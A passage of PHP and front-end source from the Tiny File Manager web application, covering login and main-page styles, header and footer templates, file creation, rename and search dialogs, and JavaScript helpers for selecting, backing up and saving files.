body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 304 304\' width=\'304\' height=\'304\'%3E%3Cpath fill=\'%23e2e9f1\' fill-opacity=\'0.4\' d=\'M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z\'%3E%3C/path%3E%3C/svg%3E");}
.fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
.fm-login-page .brand img{ width:100%}
.fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
.fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
.fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
.fm-login-page .form-control{ border-width:2.3px}
.fm-login-page .form-group label{ width:100%}
.fm-login-page .btn.btn-block{ padding:12px 10px}
.fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
@media screen and (max-width:425px){
.fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
}
@media screen and (max-width:320px){
.fm-login-page .card.fat{ padding:0}
.fm-login-page .card.fat .card-body{ padding:15px}
}
.message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{ border-color:green;color:green}
.message.error{ border-color:red;color:red}
.message.alert{ border-color:orange;color:orange}
body.fm-login-page.theme-dark {background-color: #2f2a2a;}
.theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
</style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? \'theme-dark\' : \'\'; ?>">
<div id="wrapper" class="container-fluid">
<?php
}
/**
* Show page footer in Login Form
*/
function fm_show_footer_login()
{
?>
</div>
<?php print_external(\'js-jquery\'); ?>
<?php print_external(\'js-bootstrap\'); ?>
</body>
</html>
<?php
}
/**
* Show Header after login
*/
function fm_show_header()
{
$sprites_ver = \'20160315\';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? \'navbar-fixed\' : \'navbar-normal\';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo \'<link rel="icon" href="\'.fm_enc($favicon_path).\'" type="image/png">\'; } ?>
<title><?php echo fm_enc(APP_TITLE) ?></title>
<?php print_external(\'pre-jsdelivr\'); ?>
<?php print_external(\'pre-cloudflare\'); ?>
<?php print_external(\'css-bootstrap\'); ?>
<?php print_external(\'css-font-awesome\'); ?>
<?php if (FM_USE_HIGHLIGHTJS && isset($_GET[\'view\'])): ?>
<?php print_external(\'css-highlightjs\'); ?>
<?php endif; ?>
<script type="text/javascript">window.csrf = \'<?php echo $_SESSION[\'token\']; ?>\';</script>
<style>
html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
*,*::before,*::after { box-sizing: border-box;}
body { font-size:15px; color:#222;background:#F7F7F7; }
body.navbar-fixed { margin-top:55px; }
a, a:hover, a:visited, a:focus { text-decoration:none !important; }
.filename, td, th { white-space:nowrap }
.navbar-brand { font-weight:bold; }
.nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
.nav-item.avatar a > i { font-size:15px; }
.nav-item.avatar .dropdown-menu a { font-size:13px; }
#search-addon { font-size:12px;border-right-width:0; }
.brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
.brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
.bread-crumb { color:#cccccc;font-style:normal; }
#main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
#main-table .filename a { color:#222222; }
.table td, .table th { vertical-align:middle !important; }
.table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
.table-sm td, .table-sm th { padding:.4rem; }
.table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
.hidden { display:none }
pre.with-hljs { padding:0; overflow: hidden; }
pre.with-hljs code { margin:0;border:0;overflow:scroll; }
code.maxheight, pre.maxheight { max-height:512px }
.fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec }
.fa.fa-home { font-size:1.3em;vertical-align:bottom }
.path { margin-bottom:10px }
form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
.right { text-align:right }
.center, .close, .login-form, .preview-img-container { text-align:center }
.message { padding:4px 7px;border:1px solid #ddd;background-color:#fff }
.message.ok { border-color:green;color:green }
.message.error { border-color:red;color:red }
.message.alert { border-color:orange;color:orange }
.preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
input#preview-img-zoomCheck[type=checkbox] { display:none }
input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
.inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
.preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px }
.preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 }
.compact-table { border:0;width:auto }
.compact-table td, .compact-table th { width:100px;border:0;text-align:center }
.compact-table tr:hover td { background-color:#fff }
.filename { max-width:420px;overflow:hidden;text-overflow:ellipsis }
.break-word { word-wrap:break-word;margin-left:30px }
.break-word.float-left a { color:#7d7d7d }
.break-word + .float-right { padding-right:30px;position:relative }
.break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px }
#editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px }
@media (max-width:481px) {
#editor { top:150px; }
}
#normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
.btn-2 { padding:4px 10px;font-size:small; }
li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"016";margin-right:5px }
li.folder:before { content:"114" }
i.fa.fa-folder-o { color:#0157b3 }
i.fa.fa-picture-o { color:#26b99a }
i.fa.fa-file-archive-o { color:#da7d7d }
.btn-2 i.fa.fa-file-archive-o { color:inherit }
i.fa.fa-css3 { color:#f36fa0 }
i.fa.fa-file-code-o { color:#007bff }
i.fa.fa-code { color:#cc4b4c }
i.fa.fa-file-text-o { color:#0096e6 }
i.fa.fa-html5 { color:#d75e72 }
i.fa.fa-file-excel-o { color:#09c55d }
i.fa.fa-file-powerpoint-o { color:#f6712e }
i.go-back { font-size:1.2em;color:#007bff; }
.main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) }
.dataTables_filter { display:none; }
table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC\'); }
table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg==\'); }
table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII=\'); }
table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
.footer-action li { margin-bottom:10px; }
.app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
#snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
#snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
@-webkit-keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
@keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
#main-table span.badge { border-bottom:2px solid #f8f9fa }
#main-table span.badge:nth-child(1) { border-color:#df4227 }
#main-table span.badge:nth-child(2) { border-color:#f8b600 }
#main-table span.badge:nth-child(3) { border-color:#00bd60 }
#main-table span.badge:nth-child(4) { border-color:#4581ff }
#main-table span.badge:nth-child(5) { border-color:#ac68fc }
#main-table span.badge:nth-child(6) { border-color:#45c3d2 }
@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
}
.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
.lds-facebook { display:none;position:relative;width:64px;height:64px }
.lds-facebook div,.lds-facebook.show-me { display:inline-block }
.lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
.lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
.lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
.lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
@keyframes lds-facebook { 0% { top:6px;height:51px }
100%,50% { top:19px;height:26px }
}
ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
.c-preview-img { max-width: 300px; }
.border-radius-0 { border-radius: 0; }
.float-right { float: right; }
.table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
#main-table tr.even { background-color: #F8F9Fa; }
.filename>a>i {margin-right: 3px;}
</style>
<?php
if (FM_THEME == "dark"): ?>
<style>
:root {
--bs-bg-opacity: 1;
--bg-color: #f3daa6;
--bs-dark-rgb: 28, 36, 41 !important;
--bs-bg-opacity: 1;
}
.table-dark { --bs-table-bg: 28, 36, 41 !important; }
.btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
.list-group .list-group-item { background: #343a40; }
.theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
.theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
.theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
.theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
.theme-dark .dropzone { background: transparent; }
.theme-dark .inline-actions > a > i { background: #79755e; }
.theme-dark .text-white { color: #CFD8DC !important; }
.theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
.theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
.message { background-color: #212529; }
.compact-table tr:hover td { background-color: #3d3d3d; }
#main-table tr.even { background-color: #21292f; }
form.dropzone { border-color: #79755e; }
</style>
<?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? \'theme-dark\' : \'\'; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
<!-- New Item creation -->
<div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
<div class="modal-header">
<h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng(\'CreateNewItem\') ?></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<p><label for="newfile"><?php echo lng(\'ItemType\') ?> </label></p>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
<label class="form-check-label" for="customRadioInline1"><?php echo lng(\'File\') ?></label>
</div>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
<label class="form-check-label" for="customRadioInline2"><?php echo lng(\'Folder\') ?></label>
</div>
<p class="mt-3"><label for="newfilename"><?php echo lng(\'ItemName\') ?> </label></p>
<input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng(\'Enter here...\') ?>" required>
</div>
<div class="modal-footer">
<input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
<button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng(\'Cancel\') ?></button>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng(\'CreateNow\') ?></button>
</div>
</form>
</div>
</div>
<!-- Advance Search Modal -->
<div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content <?php echo fm_get_theme(); ?>">
<div class="modal-header">
<h5 class="modal-title col-10" id="searchModalLabel">
<div class="input-group mb-3">
<input type="text" class="form-control" placeholder="<?php echo lng(\'Search\') ?> <?php echo lng(\'a files\') ?>" aria-label="<?php echo lng(\'Search\') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
<span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
</div>
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<form action="" method="post">
<div class="lds-facebook"><div></div><div></div><div></div></div>
<ul id="search-wrapper">
<p class="m-2"><?php echo lng(\'Search file in folder and subfolders...\') ?></p>
</ul>
</form>
</div>
</div>
</div>
</div>
<!--Rename Modal -->
<div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
<div class="modal-body p-4 text-center">
<h5 class="mb-3"><?php echo lng(\'Are you sure want to rename?\') ?></h5>
<p class="mb-1">
<input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng(\'Enter new file name\') ?>" required>
<input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
<input type="hidden" name="rename_from" id="js-rename-from">
</p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng(\'Cancel\') ?></button>
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng(\'Okay\') ?></strong></button>
</div>
</form>
</div>
</div>
<!-- Confirm Modal -->
<script type="text/html" id="js-tpl-confirm">
<div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
<div class="modal-body p-4 text-center">
<h5 class="mb-2"><?php echo lng(\'Are you sure want to\') ?> <%this.title%> ?</h5>
<p class="mb-1"><%this.content%></p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng(\'Cancel\') ?></button>
<input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng(\'Okay\') ?></strong></button>
</div>
</form>
</div>
</div>
</script>
<?php
}
/**
* Show page footer after login
*/
function fm_show_footer()
{
?>
</div>
<?php print_external(\'js-jquery\'); ?>
<?php print_external(\'js-bootstrap\'); ?>
<?php print_external(\'js-jquery-datatables\'); ?>
<?php if (FM_USE_HIGHLIGHTJS && isset($_GET[\'view\'])): ?>
<?php print_external(\'js-highlightjs\'); ?>
<script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
function template(html,options){
var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code=\'var r=[];
\',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+\'
\':\'r.push(\'+line+\');
\'):(code+=line!=\'\'?\'r.push("\'+line.replace(/"/g,\'\"\')+\'");
\':\'\');return add}
while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
add(html.substr(cursor,html.length-cursor));code+=\'return r.join("");\';return new Function(code.replace(/[
]/g,\'\')).apply(options)
}
function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal(\'show\'); } }
function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
function select_all() { change_checkboxes(get_checkboxes(), !0) }
function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
function invert_all() { change_checkboxes(get_checkboxes()) }
function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
function backup(e, t) { // Create file backup with .bck
var n = new XMLHttpRequest,
a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
4 == n.readyState && 200 == n.status && toast(n.responseText)
}, n.send(a), !1
}
// Toast message
function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
// Save file
function edit_save(e, t) {
var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
if (typeof n !== \'undefined\' && n !== null) {
if (true) {
var data = {ajax: true, content: n, type: \'save\', token: window.csrf};
$.ajax({
type: "POST",
url: window.location,
data: JSON.stringify(data),
contentType: "application/json; charset=utf-8",
